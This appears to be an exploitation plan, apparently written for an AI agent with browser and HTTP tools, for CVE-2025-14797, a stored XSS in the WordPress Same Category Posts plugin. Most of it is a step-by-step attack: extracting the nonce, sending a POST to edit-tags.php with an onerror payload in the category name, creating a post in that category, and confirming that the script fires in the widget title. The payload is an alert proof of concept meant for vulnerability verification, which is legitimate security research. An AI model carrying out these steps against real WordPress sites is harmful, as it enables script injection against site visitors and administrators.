Same Category Posts <= 1.1.19 - Authenticated (Author+) Stored Cross-Site Scripting via Widget Title Placeholder

This research plan targets CVE-2025-14797, a Stored Cross-Site Scripting (XSS) vulnerability in the Same Category Posts plugin for WordPress. The vulnerability arises because the plugin uses htmlspecialchars_decode() on taxonomy term names (like categories) used in widget title placeholders, effectively reversing WordPress's built-in security encoding.

---

1. Vulnerability Summary

• Vulnerability: Authenticated (Author+) Stored XSS.
• Location: Widget rendering logic within the SameCategoryPostsWidget class (likely in same-category-posts.php or a dedicated widget file).
• Cause: The plugin allows dynamic placeholders (e.g., %category%) in the widget title. When rendering, it retrieves the term name, which is safely encoded by WordPress, but then passes the entire title string through htmlspecialchars_decode(). This allows any HTML entities stored in a category or tag name (like <script>) to be converted back into executable code.
• Privilege Level: Author and above. While Authors cannot manage widgets, they can create and name taxonomy terms (categories/tags) and assign them to posts. If a widget is pre-configured by an Admin to use placeholders, the Author's malicious term name triggers the XSS.

2. Attack Vector Analysis

• Endpoint: Taxonomy term creation (wp-admin/edit-tags.php) or Post creation (wp-admin/post-new.php).
• Vulnerable Parameter: tag-name (for categories or tags).
• Authentication: Author-level credentials.
• Preconditions:
  1. The "Same Category Posts" widget must be active in a sidebar.
  2. The widget title must contain a supported placeholder (e.g., Posts in %category%).

3. Code Flow (Inferred from Patch Description)

1. Entry Point: A user views a single post on the frontend.
2. Widget Execution: WordPress calls SameCategoryPostsWidget::widget($args, $instance).
3. Data Retrieval: The plugin identifies the current post's terms (categories/tags) using get_the_category() or get_the_terms().
4. Placeholder Replacement:
   • The plugin fetches the widget title from $instance['title'].
   • It retrieves the term name (e.g., <script>alert(1)</script>). Note: WordPress usually stores this as <script>alert(1)</script>.
   • It performs a replacement: $title = str_replace('%category%', $term_name, $title);.
   • The Sink: The plugin calls echo htmlspecialchars_decode($title);.
5. Execution: The browser receives raw <script> tags and executes the payload.

4. Nonce Acquisition Strategy

This vulnerability is triggered during rendering on the frontend, so no nonce is required to execute the payload. However, creating the malicious category/post as an Author involves standard WordPress admin actions.

To create the payload as an Author:

• Nonces are required for POST requests to edit-tags.php or post.php.
• The agent should use browser_navigate to wp-admin/edit-tags.php?taxonomy=category and then use browser_eval to extract the _wpnonce from the form.
• JavaScript Variable: document.querySelector('#addtag input[name="_wpnonce"]').value.

5. Test Data Setup

1. Admin Setup (Widget Configuration):
   • As Admin, activate the plugin.
   • Go to Appearance -> Widgets.
   • Add "Same Category Posts" to the Primary Sidebar.
   • Set the "Title" to: Posts in %category%.
   • Save the widget.
2. Author Setup:
   • Create a user with the Author role.
   • Log in as the Author.

6. Exploitation Strategy

The exploit involves an Author creating a category with a payload and associating it with a post.

1. Step 1: Login as Author
   • Use http_request to authenticate as the Author.
2. Step 2: Create Malicious Category
   • Endpoint: POST /wp-admin/edit-tags.php
   • Payload:
     • action: add-tag
     • screen: edit-category
     • taxonomy: category
     • tag-name: <img src=x onerror=alert("CVE-2025-14797")>
     • slug: xss-cat
     • _wpnonce: (Extracted via browser_eval)
3. Step 3: Create Post in Category
   • Create a new post and assign it to the xss-cat category.
   • Endpoint: POST /wp-admin/post.php
   • Parameters: post_type=post, post_category[]=[ID_OF_XSS_CAT], post_title=XSS Trigger Post, publish=Publish.
4. Step 4: Trigger XSS
   • Use http_request (GET) to navigate to the permalink of the newly created post.
   • Examine the HTML response.

7. Expected Results

• Vulnerable Response: The HTML source will contain the raw payload:
  ...<h2 class="widget-title">Posts in <img src=x onerror=alert("CVE-2025-14797")></h2>...
• Reasoning: If the plugin were secure, it would have output the encoded version: <img src=x onerror=...>. The call to htmlspecialchars_decode() converts it back to active HTML.

8. Verification Steps

1. Manual Check: Use browser_navigate to the post URL and check for an alert dialog or the injected <img> tag in the sidebar widget title.
2. Database Check (WP-CLI):

   # Confirm the category name is stored
   wp term list category --fields=name,slug | grep "xss-cat"
   

3. Response Analysis:
   Search the HTTP response body for the string onerror=alert("CVE-2025-14797"). If found unencoded, the exploit is successful.

9. Alternative Approaches

• Tag Injection: If Category creation is restricted, try creating a Post Tag with the same payload and using the %tag% or %taxonomy% placeholder (if supported by the plugin).
• Placeholders: Check the plugin documentation or code for other placeholders like %taxonomy% or %term% and repeat the process for custom taxonomies an Author might be able to edit.